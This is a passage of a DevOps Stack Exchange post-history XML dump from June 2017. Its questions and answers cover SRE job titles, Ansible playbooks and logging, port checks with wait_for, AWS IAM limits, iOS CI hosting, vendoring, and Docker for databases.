definition.  My theory is that we've been progressing through titles as a shorthand for espousing the evolution of a single field:&#xD;&#xA;&#xD;&#xA;* We started as **sysadmins**.&#xD;&#xA;* Then as web sites became more of a &quot;thing&quot;, job postings started to refer to **web operations engineers** to distinguish sysadmins who specialized in the web from those who also handled general office IT.&#xD;&#xA;* Then **DevOps** was supposed to separate out those who were comfortable using programming to reduce their web ops workload.&#xD;&#xA;* But as DevOps got muddled by [the lack of a clear definition](https://devops.stackexchange.com/q/788/960), we adopted **Site Reliability Engineering** to specify that we're looking for people who are on-call supporting production services.&#xD;&#xA;&#xD;&#xA;So what is the difference between a sysadmin and an SRE?  The year in which they received their title.  What is the difference between traditional operations and site reliability engineering?  SRE is merely the current incarnation of ops, using new tools (hello, containers!) and, as networked programs continue to become more larger and more important, an increased focus on practices that allow one engineer to do *more*." ContentLicense="CC BY-SA 3.0" />
  <row Id="4229" PostHistoryTypeId="2" PostId="1284" RevisionGUID="d9338675-f010-4ddd-9391-150c792ce3f8" CreationDate="2017-06-03T19:09:44.193" UserId="960" Text="Fabric (and Capistrano, presumably the unnamed Ruby tool you came across) are a bit unusual in that they're task runners with extra features for easily running tasks on remote hosts.  I'm not aware of any other popular tools that do exactly the same thing, but depending on your needs there are a few other options that may work for you.&#xD;&#xA;&#xD;&#xA;[Grunt](https://en.wikipedia.org/wiki/Grunt_(software)) and [Gulp](https://en.wikipedia.org/wiki/Gulp.js) are the foremost task runners in the Javascript ecosystem.  While not designed specifically to deploy software, they both have plugin-based systems that allow you do this, and you'll find plenty of articles of people using [either](https://duckduckgo.com/?q=grunt+deploy&amp;ia=software) [one](https://duckduckgo.com/?q=gulp+deploy&amp;ia=software) to do so.  For instance, [this tutorial](http://justinklemm.com/grunt-js-deployment-ssh-git/) uses [the `grunt-ssh` plugin](https://github.com/israelroldan/grunt-ssh) to integrate ssh with grunt, while [this one](https://mikeeverhart.net/2016/01/deploy-code-to-remote-servers-with-gulp-js/) relies on [`gulp-rsync`](https://www.npmjs.com/package/gulp-rsync).&#xD;&#xA;&#xD;&#xA;Using task runners to deploy code tends to be an approach favored by developers who are wearing an ops hat.  When you ask an operations engineer, they're more likely to suggest hacking this behavior into a configuration tool.  This can take many forms (for instance, packaging your app into an rpm or deb, then installing it like any other software), but I'm going to focus on what I think would be the simplest and most direct method for you.&#xD;&#xA;&#xD;&#xA;[Ansible](https://en.wikipedia.org/wiki/Ansible_(software)) is ostensibly a configuration management tool, but it really shines at **task orchestration**, which I would define as &quot;running a set of actions across a set of servers&quot;.  [The official documentation](https://docs.ansible.com/ansible/index.html) is a good place to get started, but to give you an idea of what this might look like, you might have a *playbook* (a YAML file that defines a set of tasks) like this:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-yaml --&gt;&#xD;&#xA;&#xD;&#xA;    - hosts: webservers&#xD;&#xA;      tasks:&#xD;&#xA;        - name: update code checkout&#xD;&#xA;          git:&#xD;&#xA;            repo: ssh://git@github.com/mylogin/hello.git&#xD;&#xA;            dest: /var/www&#xD;&#xA;            version: master&#xD;&#xA;&#xD;&#xA;        - name: restart webserver&#xD;&#xA;          command: restart-command-you-run&#xD;&#xA;&#xD;&#xA;When you run this file with `ansible-playbook`, it will look up your host list (as simple as an ini file, but can also be a dynamic list written in any programming language) to determine what servers exist and what groups they're in, and then run the defined tasks on the servers that you tell it to.&#xD;&#xA;&#xD;&#xA;Now, you specified that you wanted to stay in the Javascript ecosystem.  However, while Ansible is a new thing for you, it doesn't have all the complexities of another programming language, since configurations are written in YAML.  It will also allow you to do much much more later, and unlike several of its competitors, uses ssh to communicate, so there's very little setup involved (nothing to install on the remote machines)." ContentLicense="CC BY-SA 3.0" />
  <row Id="4230" PostHistoryTypeId="2" PostId="1285" RevisionGUID="07c0574b-3aae-40a6-babd-0ea6b5331276" CreationDate="2017-06-03T19:35:28.540" UserId="960" Text="https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html lists the schema for (I believe) all of the ARNs that Amazon supports.  Text is italic red indicates where you should substitute in your own value, rather than the literal string, and there are examples in each section to help figure this out.&#xD;&#xA;&#xD;&#xA;Be warned that IAM is less usefully restrictive than it appears on first glance.  To start with, most services [have only partial IAM support](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_aws-services-that-work-with-iam.html).  Secondly, often the things that are supported at a resource level are supported only in very specific ways; for instance, granting all permissions on a subnet ARN does not grant the attached users the ability to fully manage instances in that subnet, as [`AttachVolume` only supports restricting by volume id](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html), etc.  Thirdly, if the users are going to use the Amazon web console at all, they must have broad viewing permissions, as the console was not written with PoLP in mind and issues non-resource-restricted API calls (and often merely dumps errors in the javascript console!)." ContentLicense="CC BY-SA 3.0" />
  <row Id="4231" PostHistoryTypeId="5" PostId="1052" RevisionGUID="c236de7c-5f1a-4def-9a25-7eaa58cffe89" CreationDate="2017-06-03T21:46:28.697" UserId="538" Comment="added 29 characters in body" Text="Is there a similar devops tool to fabric with javascript as its scripting language. I'm specifically interested in the remote execution side.&#xD;&#xA;&#xD;&#xA;http://www.fabfile.org/&#xD;&#xA;&#xD;&#xA;Most of the tools I've found rely on python(e.g fabric) or ruby(e.g. Capistrano). However, in my team we don't use these languages for anything else. While these languages may be great, they are not as universal as javascript in the web development industry.&#xD;&#xA;&#xD;&#xA;I mention fabric because it's ideal for what I want except that I have minimal python skills (sadly).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4232" PostHistoryTypeId="2" PostId="1286" RevisionGUID="8bc0a56d-6081-4a20-ba0f-84cd466922a3" CreationDate="2017-06-04T04:45:59.363" UserId="3019" Text="I think what you're looking for might be too simply redirect stdout and street to file.&#xA;&#xA;Typically ,     some-command  &amp;&gt;  logfile.log &#xA;&#xA;or some variant....&#xA;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4233" PostHistoryTypeId="5" PostId="1275" RevisionGUID="6112937c-9983-459a-9876-fcf78db725ab" CreationDate="2017-06-04T14:05:32.530" UserId="210" Comment="added 334 characters in body" Text="[The Ansible module index][1] has been consulted, but no module was found that checks whether a port is available? Is there a module that supports this?&#xD;&#xA;&#xD;&#xA;**What does `available` mean?**&#xD;&#xA;&#xD;&#xA;Available means that a port, e.g. `80` is not in LISTEN state. The following indicates that port 111 is unavailable.&#xD;&#xA;&#xD;&#xA;    user@localhost ~ $ ss -nat&#xD;&#xA;    State      Recv-Q Send-Q Local Address:Port    Peer Address:Port              &#xD;&#xA;    LISTEN     0      128       *:111                   *:*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/list_of_all_modules.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="4234" PostHistoryTypeId="5" PostId="1281" RevisionGUID="25f0a8b3-fb71-4f66-a66f-0076bc452a63" CreationDate="2017-06-04T14:51:44.187" UserId="339" Comment="added 183 characters in body" Text="The server-side private data store in the Salt configuration and orchestration stack; the pillar system permits minions access to only that information which they're supposed to know." ContentLicense="CC BY-SA 3.0" />
  <row Id="4235" PostHistoryTypeId="24" PostId="1281" RevisionGUID="25f0a8b3-fb71-4f66-a66f-0076bc452a63" CreationDate="2017-06-04T14:51:44.187" Comment="Proposed by 339 approved by 40, 46 edit id of 355" ContentLicense="CC BY-SA 3.0" />
  <row Id="4236" PostHistoryTypeId="5" PostId="1282" RevisionGUID="2cfdd7e8-75d7-40ac-a80f-16316adcdbb3" CreationDate="2017-06-04T14:59:00.820" UserId="46" Comment="added 28 characters in body" Text="Tee will be a very simple tool for logging, you can refer the following command.&#xD;&#xA;&#xD;&#xA;    eric@eric-MacBookPro:~$ ansible -m ping all | tee &gt; /tmp/ansible.log&#xD;&#xA;    eric@eric-MacBookPro:~$ cat /tmp/ansible.log &#xD;&#xA;    localhost | SUCCESS =&gt; {&#xD;&#xA;        &quot;changed&quot;: false,&#xD;&#xA;        &quot;ping&quot;: &quot;pong&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4238" PostHistoryTypeId="2" PostId="1287" RevisionGUID="bd5bdc56-326b-4da4-a8cf-1ecedbdf68d1" CreationDate="2017-06-04T18:41:19.060" UserId="3024" Text="Assuming ansible properly throws errors to stderr you can capture the output of errors in any program to a file using output redirection:&#xD;&#xA;&#xD;&#xA;`some command 2&gt; error.log`&#xD;&#xA;&#xD;&#xA;However I don't think this is the case.&#xD;&#xA;&#xD;&#xA;Instead you will likely want to refer to this guide to decide when errors will occur http://docs.ansible.com/ansible/playbooks_error_handling.html and then grep your output for strings that indicate an error before outputting to a file&#xD;&#xA;&#xD;&#xA;ie. &#xD;&#xA;&#xD;&#xA;`ansible-playbook my-playbook | grep 'error' &gt; error.log`" ContentLicense="CC BY-SA 3.0" />
  <row Id="4239" PostHistoryTypeId="5" PostId="1275" RevisionGUID="7a217d0f-c62b-442a-a325-12b34c0e57f6" CreationDate="2017-06-04T21:07:14.583" UserId="210" Comment="added 353 characters in body" Text="[The Ansible module index][1] has been consulted, but no module was found that checks whether a port is available? Is there a module that supports this?&#xD;&#xA;&#xD;&#xA;**What does `available` mean?**&#xD;&#xA;&#xD;&#xA;Available means that a port, e.g. `80` is not in LISTEN state. The following indicates that port 111 is unavailable.&#xD;&#xA;&#xD;&#xA;    user@localhost ~ $ ss -nat&#xD;&#xA;    State      Recv-Q Send-Q Local Address:Port    Peer Address:Port              &#xD;&#xA;    LISTEN     0      128       *:111                   *:*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**What is the aim of this question?**&#xD;&#xA;&#xD;&#xA;The aim of this question is to find a way to stop an Ansible run when port 80 is already allocated by another process than certbot. Letsencrypt requires port 80 to be available, otherwise the cert cannot be renewed. The issue can be found [here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/list_of_all_modules.html&#xD;&#xA;  [2]: https://github.com/030/ansible-certbot/issues/15" ContentLicense="CC BY-SA 3.0" />
  <row Id="4240" PostHistoryTypeId="2" PostId="1288" RevisionGUID="9639937d-bcaa-4664-ab15-cb9e6631a7a4" CreationDate="2017-06-05T03:54:58.457" UserId="2956" Text="Letsencrypt is long-time renamed to certbot. You can automate certificate renewal process by configuring a host which serves a domain(s) by installing certbot and configuring web server for handling a directory with auth tokens as `/.well-known/acme-challenge/` for domains under Let's Encrypt-signed certs, then using Ansible playbook for [manual renewal process][1] or run the same command by cron.&#xD;&#xA;&#xD;&#xA;  [1]: https://certbot.eff.org/docs/using.html#pre-and-post-validation-hooks" ContentLicense="CC BY-SA 3.0" />
  <row Id="4241" PostHistoryTypeId="5" PostId="1276" RevisionGUID="4e9fc1f8-b909-46c1-bbd1-c15577f54402" CreationDate="2017-06-05T06:07:47.107" UserId="210" Comment="hyperlink created" Text="I think you're looking for the [`wait_for` module][1]. It will allow you to check and make an action when a certain port is available and more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/wait_for_module.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="4242" PostHistoryTypeId="24" PostId="1276" RevisionGUID="4e9fc1f8-b909-46c1-bbd1-c15577f54402" CreationDate="2017-06-05T06:07:47.107" Comment="Proposed by 210 approved by 40, 775 edit id of 357" ContentLicense="CC BY-SA 3.0" />
  <row Id="4243" PostHistoryTypeId="2" PostId="1289" RevisionGUID="49d8d16c-8270-4462-b7e1-dc06b1dbc620" CreationDate="2017-06-05T07:20:17.617" UserId="775" Text="I think that all you need to do is to register the output of every command you need (store it in a variable) and then simply dump the variable in a file. That way you can review it later. A nice example is available [here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://coderwall.com/p/13lh6w/dump-all-variables" ContentLicense="CC BY-SA 3.0" />
  <row Id="4244" PostHistoryTypeId="5" PostId="1289" RevisionGUID="55e83525-1bab-4c4b-b6e0-c9db79c9fb19" CreationDate="2017-06-05T07:27:49.990" UserId="775" Comment="added 739 characters in body" Text="I think that all you need to do is to register the output of every command you need (store it in a variable) and then simply dump the variable in a file. That way you can review it later. &#xD;&#xA;&#xD;&#xA;    tasks:&#xD;&#xA;      - name: Dump all vars&#xD;&#xA;        action: template src=templates/dumpall.j2 dest=/tmp/ansible.all&#xD;&#xA;&#xD;&#xA;Then in dumpall.j2:&#xD;&#xA;    &#xD;&#xA;    Module Variables (&quot;vars&quot;):&#xD;&#xA;    --------------------------------&#xD;&#xA;    {{ vars | to_nice_json }} &#xD;&#xA;    &#xD;&#xA;    Environment Variables (&quot;environment&quot;):&#xD;&#xA;    --------------------------------&#xD;&#xA;    {{ environment | to_nice_json }} &#xD;&#xA;    &#xD;&#xA;    GROUP NAMES Variables (&quot;group_names&quot;):&#xD;&#xA;    --------------------------------&#xD;&#xA;    {{ group_names | to_nice_json }}&#xD;&#xA;    &#xD;&#xA;    GROUPS Variables (&quot;groups&quot;):&#xD;&#xA;    --------------------------------&#xD;&#xA;    {{ groups | to_nice_json }}&#xD;&#xA;    &#xD;&#xA;    HOST Variables (&quot;hostvars&quot;):&#xD;&#xA;    --------------------------------&#xD;&#xA;    {{ hostvars | to_nice_json }} &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The example I'm using is from [here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://coderwall.com/p/13lh6w/dump-all-variables" ContentLicense="CC BY-SA 3.0" />
  <row Id="4245" PostHistoryTypeId="2" PostId="1290" RevisionGUID="798334dc-f6d8-4a34-8a30-c3a76ef2e2f4" CreationDate="2017-06-05T08:28:08.520" UserId="3032" Text="**TL;DR: Do you know of any hosted CI/CD providers for iOS, who have their *datacenter/build-boxes* in Asia, or at least Europe?** (Bonus points if they provide both build and deploy, but build is the MVP.) &#xD;&#xA;&#xD;&#xA;------&#xD;&#xA;Back-story:&#xD;&#xA;&#xD;&#xA;We're running CI/CD at-scale for iOS and Android: we run 10+ simultaneous builds both to test/verify our Merge-Request branches and to deploy trunk builds to our testers and stakeholders. We're using a SaaS/cloud provider we're pretty happy with... except for their location. &#xD;&#xA;&#xD;&#xA;We're in Asia, as is our source. Client is in a highly-regulated industry and fighting hard to keep source on-prem, as they think their regulator can't handle source in the cloud yet. Please accept this premise. I understand why they need to let go of it. But for now... assume they can't. &#xD;&#xA;&#xD;&#xA;What that means is: source is in Asia, but the CI/CD providers who build it are all seemingly in the US (Circle, Buddybuild, etc). Trans-pacific bandwidth sucks, particularly during the Asia business day. **The time taken by every clone before every build spikes to &gt;60 minutes for much of the business day.** &#xD;&#xA;&#xD;&#xA;Android builds would be pretty easy to run in-house on docker containers. But iOS is the problem. You either need to put yourself in the business of teaching people to admin OSX, just to run a fleet of build-boxes, and try to keep them operational, or you need to let specialists solve that problem for you. That's what we're looking for. &#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;NOTES: &#xD;&#xA;&#xD;&#xA;* I am ***not*** asking for recommendations, SE community! This is a factual technical question: are certain services, that meet certain technical requirements, available in a certain geography? &#xD;&#xA;* We know that MacStadium can provide bare MacOS VM's in Ireland. But that means you have to admin your own whole CI process, plus a lot of low-level system admin tasks we'd rather avoid. It also means separating build from deployment, for sure. But the latency appears to be acceptable. &#xD;&#xA;* We know of other people who have cloud CI/CD platforms closer to us... but without iOS/MacOS support. &#xD;&#xA;* We know that shallow clones require less bandwidth, which would mitigate the problem, but they also have other complications that mean our current provider doesn't support it yet. And they don't entirely solve the problem in any case.&#xD;&#xA;* We've experimented with using off-premise GitHub mirror, which solves some of the problem, but doesn't address the regulatory issues. It also doesn't work with many webhooks, and specifically the Merge-Request webhooks that are critical to our CI pipeline for new code. We could create an agent that would monitor the webhooks, then imperatively relay API commands to the other service-providers... but that's really jumping through hoops, plus we'd have created substantial new code to maintain." ContentLicense="CC BY-SA 3.0" />
  <row Id="4246" PostHistoryTypeId="1" PostId="1290" RevisionGUID="798334dc-f6d8-4a34-8a30-c3a76ef2e2f4" CreationDate="2017-06-05T08:28:08.520" UserId="3032" Text="Hosted CI/CD for iOS that's not in the US?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4247" PostHistoryTypeId="3" PostId="1290" RevisionGUID="798334dc-f6d8-4a34-8a30-c3a76ef2e2f4" CreationDate="2017-06-05T08:28:08.520" UserId="3032" Text="&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;ios&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4248" PostHistoryTypeId="5" PostId="1290" RevisionGUID="47379e21-5e60-485d-8944-aefbd0f7e3de" CreationDate="2017-06-05T08:35:18.880" UserId="3032" Comment="deleted 40 characters in body" Text="**TL;DR: Do you know of any hosted CI/CD providers for iOS, who have their *datacenter/build-boxes* in Asia, or at least Europe?** (Bonus points if they provide both build and deploy, but build is the MVP.) &#xD;&#xA;&#xD;&#xA;------&#xD;&#xA;Back-story:&#xD;&#xA;&#xD;&#xA;We're running CI/CD at-scale for iOS and Android: we run 10+ simultaneous builds both to test/verify our Merge-Request branches and to deploy trunk builds to our testers and stakeholders. We're using a SaaS/cloud provider we're pretty happy with... except for their location. &#xD;&#xA;&#xD;&#xA;We're in Asia, as is our source. Client is in a highly-regulated industry and fighting hard to keep source on-prem, as they think their regulator can't handle source in the cloud yet. Please accept this premise. I understand why they need to let go of it. But for now... assume they can't. &#xD;&#xA;&#xD;&#xA;What that means is: source is in Asia, but the CI/CD providers who build it are all seemingly in the US (Circle, Buddybuild, etc). Trans-pacific bandwidth sucks, particularly during the Asia business day. **The time taken by every clone before every build spikes to &gt;60 minutes for much of the business day.** &#xD;&#xA;&#xD;&#xA;Going on-prem for the CI/CD would be pretty easy for Android builds, on docker containers. But iOS is the problem. You either need to put yourself in the business of teaching people to admin OSX and keep a fleet of build-boxes operational, or you need to let specialists solve that problem for you. &#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;NOTES: &#xD;&#xA;&#xD;&#xA;* I am ***not*** asking for recommendations, SE community! This is a factual technical question: are certain services, that meet certain technical requirements, available in a certain geography? &#xD;&#xA;* We know that MacStadium can provide bare MacOS VM's in Ireland. But that means you have to admin your own whole CI process, plus a lot of low-level system admin tasks we'd rather avoid. It also means separating build from deployment, for sure. But the latency appears to be acceptable. &#xD;&#xA;* We know of other people who have cloud CI/CD platforms closer to us... but without iOS/MacOS support. &#xD;&#xA;* We know that shallow clones require less bandwidth, which would mitigate the problem, but they also have other complications that mean our current provider doesn't support it yet. And they don't entirely solve the problem in any case.&#xD;&#xA;* We've experimented with using off-premise GitHub mirror, which solves some of the problem, but doesn't address the regulatory issues. It also doesn't work with many webhooks, and specifically the Merge-Request webhooks that are critical to our CI pipeline for new code. We could create an agent that would monitor the webhooks, then imperatively relay API commands to the other service-providers... but that's really jumping through hoops, plus we'd have created substantial new code to maintain." ContentLicense="CC BY-SA 3.0" />
  <row Id="4249" PostHistoryTypeId="2" PostId="1291" RevisionGUID="a3716f14-ff05-47e3-931a-f4a1a45c4465" CreationDate="2017-06-05T11:20:21.833" UserId="3037" Text="In various tools there is the concept of &quot;vendoring&quot;. I.e. ruby's bundle, and Chef's berkshelf.&#xD;&#xA;&#xD;&#xA;&quot;vendor&quot; is not a verb and in documentation it's often assumed that I know what it means.&#xD;&#xA;&#xD;&#xA;Can someone help shed some light on what it is and the benefits of doing it." ContentLicense="CC BY-SA 3.0" />
  <row Id="4250" PostHistoryTypeId="1" PostId="1291" RevisionGUID="a3716f14-ff05-47e3-931a-f4a1a45c4465" CreationDate="2017-06-05T11:20:21.833" UserId="3037" Text="Vendoring - what is it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4251" PostHistoryTypeId="3" PostId="1291" RevisionGUID="a3716f14-ff05-47e3-931a-f4a1a45c4465" CreationDate="2017-06-05T11:20:21.833" UserId="3037" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4252" PostHistoryTypeId="2" PostId="1292" RevisionGUID="1a085793-bc6b-4976-a90b-7688b91bf5d3" CreationDate="2017-06-05T11:38:00.773" UserId="44" Text="Vendoring is the concept of downloading/installing a specific version of dependencies and making it available elsewhere (typically, within a local repo/folder of your supporting application)&#xD;&#xA;&#xD;&#xA;Vendoring is usually done to prevent breakage occurring when dependences are no longer available.&#xD;&#xA;&#xD;&#xA;For example, let's consider you have your Chef cookbook that depends on another third party cookbook, say mysql2 chef gem. Now while mentioning in your `metadata.rb`, you didn't pin the version or vendor the cookbook. Lets consider the cookbook has had a version upgrade, breaking all previous APIs. The previous versions have also been taken down. In such a case, your cookbooks are suddenly broken as well and if you have a urgent deploy, your Chef run will fail.&#xD;&#xA;&#xD;&#xA;Vendoring prevents this by making available the dependency on your local chef server, so even if the dependency has gone ahead, you can continue referring to the previous version and your cookbook will not break&#xD;&#xA;&#xD;&#xA;(Also goes without saying, you must keep updating the dependencies and cookbooks, else you might get bit with some bad bugs)&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4253" PostHistoryTypeId="2" PostId="1293" RevisionGUID="ecb8a8f1-128f-4187-a39e-1fda102034c8" CreationDate="2017-06-05T11:40:09.410" UserId="465" Text="I'm having a discussion with a friend about use cases for [Docker][1]. One guy in the team wants to use Docker for everything - like a kind of universal unix process wrapper. The other thinks that Docker should only be used for [stateless][2] applications like [Microservices][3] and [AWS Lambda][4] style apps. &#xD;&#xA;&#xD;&#xA;We've engineered proof of concepts for both. On our docker cluster we have a shared drive that gets mounted when the Docker host is mounted, and if a Database in a container is mounted, it simply mounts a volume to the shared drive. &#xD;&#xA;&#xD;&#xA;My friend still sticks to his position, despite being shown the contrary evidence. (He also argues that Docker adds unnecessary risk by adding [complexity][5] to the stack.)&#xD;&#xA;&#xD;&#xA;I'm trying to listen and understand his point of view, both in an act of empathy, but also to better reason with him. (We all get on quite well - so this is a mix of in-jest and serious discussion). &#xD;&#xA;&#xD;&#xA;Kind of the question behind the question is: are databases [cattle][6]? This [comment][7] suggests that a good automated backup and retrieval strategy for your database is indistinguishable from a cattle server. &#xD;&#xA;&#xD;&#xA;My question is: **What are the reasons Docker should not be used for databases?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Docker_(software)&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/State_(computer_science)#Program_state&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Microservices&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/AWS_Lambda&#xD;&#xA;  [5]: https://devops.stackexchange.com/questions/1205/is-there-evidence-to-suggest-that-the-docker-hashicorp-ecosystem-requires-a-high&#xD;&#xA;  [6]: https://devops.stackexchange.com/questions/653/what-is-the-definition-of-cattle-not-pets&#xD;&#xA;  [7]: https://devops.stackexchange.com/questions/1254/does-the-cattle-not-pets-distinction-apply-as-equally-to-machine-instances-as#comment2099_1254" ContentLicense="CC BY-SA 3.0" />
  <row Id="4254" PostHistoryTypeId="1" PostId="1293" RevisionGUID="ecb8a8f1-128f-4187-a39e-1fda102034c8" CreationDate="2017-06-05T11:40:09.410" UserId="465" Text="What are the reasons Docker should not be used for databases?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4255" PostHistoryTypeId="3" PostId="1293" RevisionGUID="ecb8a8f1-128f-4187-a39e-1fda102034c8" CreationDate="2017-06-05T11:40:09.410" UserId="465" Text="&lt;containers&gt;&lt;databases&gt;&lt;cattle-vs-pet&gt;&lt;risk&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4256" PostHistoryTypeId="2" PostId="1294" RevisionGUID="4e69edc3-3fda-4573-8288-a84d769788e1" CreationDate="2017-06-05T11:45:42.153" UserId="3038" Text="I'm not DevOps, I only come from a .net background, but I've been asked how to hook up Jenkins to kick off jobs, listening to Endevor mainframe? &#xD;&#xA;&#xD;&#xA;I only found [this][1] which talks about SCLM which as I understand is a competitor company.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/IBM+zOS+Connector" ContentLicense="CC BY-SA 3.0" />
  <row Id="4257" PostHistoryTypeId="1" PostId="1294" RevisionGUID="4e69edc3-3fda-4573-8288-a84d769788e1" CreationDate="2017-06-05T11:45:42.153" UserId="3038" Text="How to hook up Jenkins to Endevor?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4258" PostHistoryTypeId="3" PostId="1294" RevisionGUID="4e69edc3-3fda-4573-8288-a84d769788e1" CreationDate="2017-06-05T11:45:42.153" UserId="3038" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;mainframe&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4259" PostHistoryTypeId="2" PostId="1295" RevisionGUID="199b1ca2-6058-4c0e-8d81-29ad8ecc5f69" CreationDate="2017-06-05T12:30:44.710" UserId="40" Text="Apart from your &quot;[this][1]&quot;, there is also [Compuware Source Code Download for Endevor, PDS, and ISPW Plugin][2]. Some details about it (from the linked page):&#xD;&#xA;&#xD;&#xA;&gt; ... allows Jenkins users to download Endevor, PDS, or ISPW members from the mainframe to the PC. Source can then be accessed on the PC, for example, for SonarQube analysis and reporting.&#xD;&#xA;&#xD;&#xA;So you may want to give &quot;that&quot; a try ...&#xD;&#xA;&#xD;&#xA;PS: I'm assuming your question is about Endevor SCM, and not Endevor DB (that a completely different story, and a challenging one ...).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/IBM+zOS+Connector&#xD;&#xA;  [2]: https://wiki.jenkins-ci.org/display/JENKINS/Compuware+Source+Code+Download+for+Endevor%2C+PDS%2C+and+ISPW+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="4260" PostHistoryTypeId="6" PostId="1291" RevisionGUID="9b974db7-9df5-4400-a844-13b8c2595d3a" CreationDate="2017-06-05T15:35:49.663" UserId="739" Comment="add terminology tag" Text="&lt;terminology&gt;&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4261" PostHistoryTypeId="24" PostId="1291" RevisionGUID="9b974db7-9df5-4400-a844-13b8c2595d3a" CreationDate="2017-06-05T15:35:49.663" Comment="Proposed by 739 approved by 3037 edit id of 358" ContentLicense="CC BY-SA 3.0" />
  <row Id="4262" PostHistoryTypeId="2" PostId="1296" RevisionGUID="96d09511-083e-4cd0-9b1a-90e741b852b0" CreationDate="2017-06-05T15:57:22.003" UserId="339" Text="This is currently an [outstanding bug](https://github.com/saltstack/salt/issues/41568), in that there is no secure way to get the minion ID within a template executing on the Salt server while compiling pillar data." ContentLicense="CC BY-SA 3.0" />
  <row Id="4263" PostHistoryTypeId="2" PostId="1297" RevisionGUID="22616eee-59db-4f23-9823-e6226b837379" CreationDate="2017-06-05T16:26:53.783" UserId="210" Text="Based on [@13nilux' answer][1] the following code has been created:&#xD;&#xA;&#xD;&#xA;    - name: Check whether port 80 is available&#xD;&#xA;      wait_for:&#xD;&#xA;        port: 80&#xD;&#xA;        state: stopped&#xD;&#xA;        timeout: 10&#xD;&#xA;&#xD;&#xA;When port 80 is listening the run will fail:&#xD;&#xA;&#xD;&#xA;    TASK [role_under_test : Check whether port 80 is available] ********************&#xD;&#xA;    &#xD;&#xA;    fatal: [localhost]: FAILED! =&gt; {&quot;changed&quot;: false, &quot;elapsed&quot;: 10, &quot;failed&quot;: true, &quot;msg&quot;: &quot;Timeout when waiting for 127.0.0.1:80 to stop.&quot;}&#xD;&#xA;    &#xD;&#xA;     [WARNING]: Could not create retry file&#xD;&#xA;    &#xD;&#xA;    '/etc/ansible/roles/role_under_test/tests/test.retry'.         [Errno 30] Read-&#xD;&#xA;    &#xD;&#xA;    only file system: u'/etc/ansible/roles/role_under_test/tests/test.retry'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/1276/210" ContentLicense="CC BY-SA 3.0" />
  <row Id="4264" PostHistoryTypeId="5" PostId="1297" RevisionGUID="8d3959a2-ca8d-45bb-bfea-6e416fbeb922" CreationDate="2017-06-05T16:32:01.057" UserId="210" Comment="added 34 characters in body" Text="Based on [@13nilux' answer][1] the following code has been created:&#xD;&#xA;&#xD;&#xA;    - name: Check whether port 80 is available&#xD;&#xA;      wait_for:&#xD;&#xA;        port: 80&#xD;&#xA;        state: stopped&#xD;&#xA;        timeout: 10&#xD;&#xA;&#xD;&#xA;When port 80 is listening the run will fail if for example nginx is listening:&#xD;&#xA;&#xD;&#xA;    TASK [role_under_test : Check whether port 80 is available] ********************&#xD;&#xA;    &#xD;&#xA;    fatal: [localhost]: FAILED! =&gt; {&quot;changed&quot;: false, &quot;elapsed&quot;: 10, &quot;failed&quot;: true, &quot;msg&quot;: &quot;Timeout when waiting for 127.0.0.1:80 to stop.&quot;}&#xD;&#xA;    &#xD;&#xA;     [WARNING]: Could not create retry file&#xD;&#xA;    &#xD;&#xA;    '/etc/ansible/roles/role_under_test/tests/test.retry'.         [Errno 30] Read-&#xD;&#xA;    &#xD;&#xA;    only file system: u'/etc/ansible/roles/role_under_test/tests/test.retry'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/1276/210" ContentLicense="CC BY-SA 3.0" />
